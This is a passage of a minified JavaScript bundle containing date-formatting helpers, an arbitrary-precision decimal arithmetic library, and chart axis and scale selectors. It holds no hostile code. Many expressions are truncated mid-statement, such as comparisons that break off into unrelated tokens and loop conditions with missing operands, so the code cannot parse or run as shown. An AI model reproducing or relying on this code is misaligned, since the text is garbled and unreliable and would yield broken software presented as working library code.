t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function m2(e,t){return _e(e.getUTCDate(),t,2)}function BL(e,t){return _e(e.getUTCHours(),t,2)}function FL(e,t){return _e(e.getUTCHours()%12||12,t,2)}function WL(e,t){return _e(1+Zd.count($r(e),e),t,3)}function g4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function UL(e,t){return g4(e,t)+"000"}function VL(e,t){return _e(e.getUTCMonth()+1,t,2)}function HL(e,t){return _e(e.getUTCMinutes(),t,2)}function KL(e,t){return _e(e.getUTCSeconds(),t,2)}function GL(e){var t=e.getUTCDay();return t===0?7:t}function YL(e,t){return _e(Jd.count($r(e)-1,e),t,2)}function y4(e){var t=e.getUTCDay();return t>=4||t===0?ms(e):ms.ceil(e)}function qL(e,t){return e=y4(e),_e(ms.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function XL(e){return e.getUTCDay()}function ZL(e,t){return _e(Mu.count($r(e)-1,e),t,2)}function QL(e,t){return _e(e.getUTCFullYear()%100,t,2)}function JL(e,t){return e=y4(e),_e(e.getUTCFullYear()%100,t,2)}function eI(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function tI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ms(e):ms.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function nI(){return"+0000"}function p2(){return"%"}function h2(e){return+e}function x2(e){return Math.floor(+e/1e3)}var ka,b4,w4;rI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function rI(e){return ka=rL(e),b4=ka.format,ka.parse,w4=ka.utcFormat,ka.utcParse,ka}function iI(e){return new Date(e)}function aI(e){return e instanceof Date?+e:+new Date(+e)}function k0(e,t,n,r,i,s,o,l,c,u){var d=u0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(k){return(c(k)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>G8(e,s/r))},n.copy=function(){return z4(t).domain(e)},Gr.apply(n,arguments)}function tf(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*ge.chartData,nf=I([Yr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),E4=(e,t,n,r)=>r?nf(e):Yr(e),uI=(e,t,n)=>n?nf(e):Yr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function v2(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function _4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function dI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return v2(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&Ly.test(i)){var c=Ly.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Iy.test(s)){var d=Iy.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:v2(p,t,n)}}}var Ns=1e9,fI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},P0,Ge=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",C0=Tn+"Exponent out of range: ",ks=Math.floor,Ui=Math.pow,mI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,A4=9007199254740991,Lu=ks(A4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=re.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return ft(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ge=!1,t=Er(Zo(n,s),Zo(e,s),s),Ge=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?M4(t,e):O4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ge=!1,t=Er(n,e,0,1).times(e),Ge=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return T4(this)};pe.naturalLogarithm=pe.ln=function(){return Zo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?O4(t,e):M4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=ft(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=ft(l),Ge=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=cr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ks((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),cr(s.d).slice(0,o)===(t=cr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ge=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ge?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(pr(e,0,Ns),t===void 0?t=r.rounding:pr(t,0,8),Ie(n,e+ft(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(pr(e,0,Ns),t===void 0?t=i.rounding:pr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(pr(e,0,Ns),t===void 0?t=s.rounding:pr(t,0,8),r=Ie(new s(i),e+ft(i)+1,t),n=ha(r.abs(),!1,e+ft(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),ft(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=A4){for(i=new c(ln),t=Math.ceil(r/We+4),Ge=!1;n%2&&(i=i.times(l),y2(i.d,t)),n=ks(n/2),n!==0;)l=l.times(l),y2(l.d,t);return Ge=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ge=!1,i=e.times(Zo(l,r+u)),Ge=!0,i=T4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=ft(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(pr(e,1,Ns),t===void 0?t=s.rounding:pr(t,0,8),i=Ie(new s(i),e,t),n=ft(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(pr(e,1,Ns),t===void 0?t=r.rounding:pr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ft(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function O4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ge?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ge?Ie(t,f):t}function pr(e,t,n){if(e!==~~e||en)throw Error(ta+e)}function cr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,k,z,S,O=r.constructor,A=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,z=P.length,N=T.length,h=new O(A),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,s==null?b=s=O.precision:o?b=s+(ft(r)-ft(i))+1:b=s,b<0)return new O(0);if(b=b/We+2|0,u=0,z==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),T=e(T,d),z=P.length,N=T.length),j=z,g=T.slice(0,z),y=g.length;y=wt/2&&++k;do d=0,l=t(P,g,z,y),l<0?(v=g[0],z!=y&&(v=v*wt+(g[1]||0)),d=v/k|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,z16)throw Error(C0+ft(e));if(!e.s)return new d(ln);for(Ge=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),cr(o.d).slice(0,l)===cr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ge=!0,Ie(s,f)):s}s=o}}function ft(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function jm(e,t,n){if(t>e.LN10.sd())throw Ge=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Zo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ge=!1,u=y):u=t,h.eq(10))return t==null&&(Ge=!0),jm(g,u);if(u+=p,g.precision=u,n=cr(x),r=n.charAt(0),s=ft(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=cr(h.d),r=n.charAt(0),f++;s=ft(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=jm(g,u+2,y).times(s+""),h=Zo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ge=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),cr(c.d).slice(0,u)===cr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(jm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ge=!0,Ie(l,y)):l;l=c,i+=2}}function g2(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ks(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),rLu||e.e<-Lu))throw Error(C0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=ft(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=ks(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ge&&(e.e>Lu||e.e<-Lu))throw Error(C0+ft(e));return e}function M4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ge?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function y2(e,t){if(e.length>t)return e.length=t,!0}function L4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return g2(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,mI.test(s))g2(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=L4,i.config=i.set=pI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var P0=L4(fI);ln=new P0(1);const Te=P0;function I4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function D4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var R4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},$4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=I4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},hI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(I4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=$4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?B4(t,n,r,i,s+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},xI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=R4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return hI(l,i,s);var{step:d,tickMin:f,tickMax:p}=B4(l,c,o,s,0),h=D4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},vI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=R4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=$4(new Te(l).sub(o).div(c-1),s,0),d=[...D4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},gI=e=>e.rootProps.barCategoryGap,xl=e=>e.rootProps.stackOffset,F4=e=>e.rootProps.reverseStackOrder,E0=e=>e.options.chartName,_0=e=>e.rootProps.syncId,W4=e=>e.rootProps.syncMethod,A0=e=>e.options.eventEmitter,yI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},rf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function U4(e,t,n){if(n!=="auto")return n;if(e!=null)return vr(e,t)?"category":"number"}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},O0=I([NI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"angleAxis",w2.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},w2),{},{type:r})}),kI=(e,t)=>e.polarAxis.radiusAxis[t],T0=I([kI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"radiusAxis",j2.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},j2),{},{type:r})}),af=e=>e.polarOptions,M0=I([Hr,Kr,kt],Wk),V4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),H4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),zI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},K4=I([af],zI);I([O0,K4],rf);var G4=I([M0,V4,H4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});I([T0,G4],rf);var Y4=I([De,af,V4,H4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,vl=(e,t,n)=>n;function L0(e){return e==null?void 0:e.id}function q4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=L0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function I0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var sf=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function of(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function SI(e,t){if(e.length===t.length){for(var n=0;n{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},zs=e=>e.tooltip.settings.axisId;function CI(e){if(e in io)return io[e]();var t="scale".concat(sl(e));if(t in io)return io[t]()}function N2(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function k2(e,t,n){if(typeof e=="function")return N2(e.copy().domain(t).range(n));if(e!=null){var r=CI(e);if(r!=null)return r.domain(t).range(n),N2(r)}}var X4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;ir)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function z2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Du(e){for(var t=1;te.cartesianAxis.xAxis[t],qr=(e,t)=>{var n=AI(e,t);return n??Z4},Q4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:gh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:cl},OI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=OI(e,t);return n??Q4},TI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},D0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??TI},it=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return D0(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},MI=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},Ss=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},J4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function R0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var e3=e=>e.graphicalItems.cartesianItems,LI=I([Je,vl],R0),$0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),gl=I([e3,it,LI],$0,{memoizeOptions:{resultEqualityCheck:of}}),t3=I([gl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(I0)),n3=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),II=I([gl],n3),B0=e=>e.map(t=>t.data).filter(Boolean).flat(1),DI=I([gl],B0,{memoizeOptions:{resultEqualityCheck:of}}),F0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return 